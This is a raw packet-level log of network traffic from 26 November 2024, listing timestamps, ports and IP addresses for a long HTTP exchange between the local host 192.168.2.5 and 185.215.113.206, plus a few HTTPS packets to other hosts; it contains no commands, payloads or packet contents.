Nov 26, 2024 10:09:32.156786919 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.156836033 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.156866074 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.157058954 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.157624006 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.157685041 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.157715082 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.158195972 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.158365011 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.158480883 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.304975033 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.305000067 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.305051088 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.305089951 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.305191994 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.305280924 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.305311918 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.305711985 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.306091070 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.306138992 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.306174994 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.306219101 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.306946039 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.307018042 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.307106972 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.307151079 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.307800055 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.307924986 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.307974100 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.308017015 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.308692932 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.308799982 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.308851957 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.309781075 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.309883118 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.309923887 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.310041904 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.310686111 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.310729027 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.310837030 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.310884953 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.311717033 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.311928988 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.311975002 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.313051939 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.313102007 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.313191891 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.313235998 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.314157009 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.314229012 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.314256907 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.314774990 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.314955950 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.315011978 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.315057039 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.315150976 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.315685034 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.315774918 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.315850973 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.316322088 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.316476107 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.316507101 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.316806078 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.317228079 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.317276001 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.317439079 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.317485094 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.318449974 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.318572044 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.318636894 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.319252968 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.319307089 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.319331884 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.319477081 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.320311069 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.320378065 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.320641994 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.321069002 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.321149111 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.321218967 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.321268082 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.321928024 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.321993113 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.322037935 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.322103977 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.322690010 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.322823048 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.322845936 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.322887897 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.323513985 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.323606968 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.323649883 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.323688030 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.324193954 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.324243069 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.324264050 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.324496031 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.324996948 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.325048923 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.325082064 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.325122118 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.325763941 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.325823069 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.325943947 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.326452017 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.326787949 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.326843977 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.326929092 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.327020884 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.327783108 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.327900887 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.327944040 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.328876972 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.329020977 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.329068899 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.329905033 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.329998970 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.330013037 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.330048084 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.330606937 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.330657959 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.330804110 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.330956936 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.331595898 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.331648111 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.331666946 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.331765890 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.332326889 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.332452059 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.403458118 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.526489019 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.803159952 CET	443	49837	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:32.803426981 CET	49837	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:32.803453922 CET	443	49837	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:32.803791046 CET	443	49837	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:32.804297924 CET	49837	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:32.804363966 CET	443	49837	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:32.804466963 CET	49837	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:32.837596893 CET	49808	443	192.168.2.5	18.165.220.106
Nov 26, 2024 10:09:32.841099024 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.841196060 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.841201067 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.841249943 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.841506958 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.841552019 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.841720104 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.841761112 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.842392921 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.842437983 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.842470884 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.842566967 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.851327896 CET	443	49837	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:32.883336067 CET	443	49808	18.165.220.106	192.168.2.5
Nov 26, 2024 10:09:32.922278881 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922296047 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922307968 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922319889 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922331095 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922343016 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.922350883 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922363043 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922367096 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.922374010 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922384977 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922394991 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922406912 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922413111 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.922416925 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922427893 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922431946 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.922441959 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.922447920 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922461033 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922471046 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.922499895 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.922502995 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922516108 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922525883 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922538042 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922545910 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.922549009 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922559977 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922564983 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.922569990 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922580957 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922591925 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922593117 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.922602892 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922612906 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922621012 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.922625065 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922636032 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922637939 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.922647953 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.922678947 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.922688007 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922699928 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922713041 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922723055 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922729015 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.922734022 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922744036 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922753096 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.922755957 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922765970 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922780991 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.922796965 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922804117 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.922816038 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922833920 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922833920 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.922844887 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922858000 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.922877073 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.922887087 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922888041 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.922899008 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922909975 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922919989 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922925949 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.922935009 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922945023 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922945976 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.922955990 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922969103 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922971964 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.922981977 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.922991037 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.922992945 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923003912 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923006058 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.923016071 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923037052 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.923042059 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923053026 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923059940 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.923065901 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923078060 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923079967 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.923105001 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923105955 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.923115969 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923130035 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.923132896 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923142910 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923150063 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.923154116 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923163891 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923176050 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923187017 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.923187017 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923197985 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923207998 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.923217058 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923228979 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.923228979 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923239946 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923243999 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.923252106 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923263073 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923271894 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.923274040 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923285961 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923297882 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923299074 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.923309088 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923327923 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.923327923 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923341990 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923353910 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923355103 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.923365116 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923373938 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.923377037 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923388958 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923392057 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.923398972 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923408985 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.923410892 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923422098 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923432112 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.923433065 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923446894 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923458099 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923460960 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.923469067 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923480988 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923481941 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.923491955 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923496008 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.923504114 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923515081 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923516989 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.923526049 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923537016 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923544884 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.923571110 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.923587084 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.923763990 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923778057 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923794985 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923818111 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923820972 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.923827887 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923830986 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.923839092 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923850060 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923860073 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923871040 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923885107 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.923886061 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:32.923903942 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:32.923916101 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.033469915 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.033535004 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.033587933 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.033860922 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.033950090 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.033983946 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.034070969 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.034359932 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.034822941 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.034931898 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.034971952 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.035624027 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.035737038 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.035767078 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.035767078 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.036686897 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.036762953 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.036777020 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.036827087 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.037568092 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.037657976 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.037683964 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.037717104 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.038332939 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.038369894 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.038500071 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.038542986 CET	49766	80	192.168.2.5	185.215.113.206
